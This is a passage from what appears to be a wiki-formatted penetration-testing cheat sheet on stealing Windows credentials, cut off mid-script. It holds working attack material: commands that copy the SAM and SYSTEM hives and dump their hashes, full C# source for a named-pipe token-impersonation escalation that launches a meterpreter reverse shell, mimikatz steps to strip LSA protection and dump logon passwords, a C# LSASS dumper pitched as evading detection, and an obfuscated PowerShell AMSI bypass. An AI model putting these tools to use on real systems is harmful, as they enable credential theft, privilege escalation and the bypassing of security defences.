* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
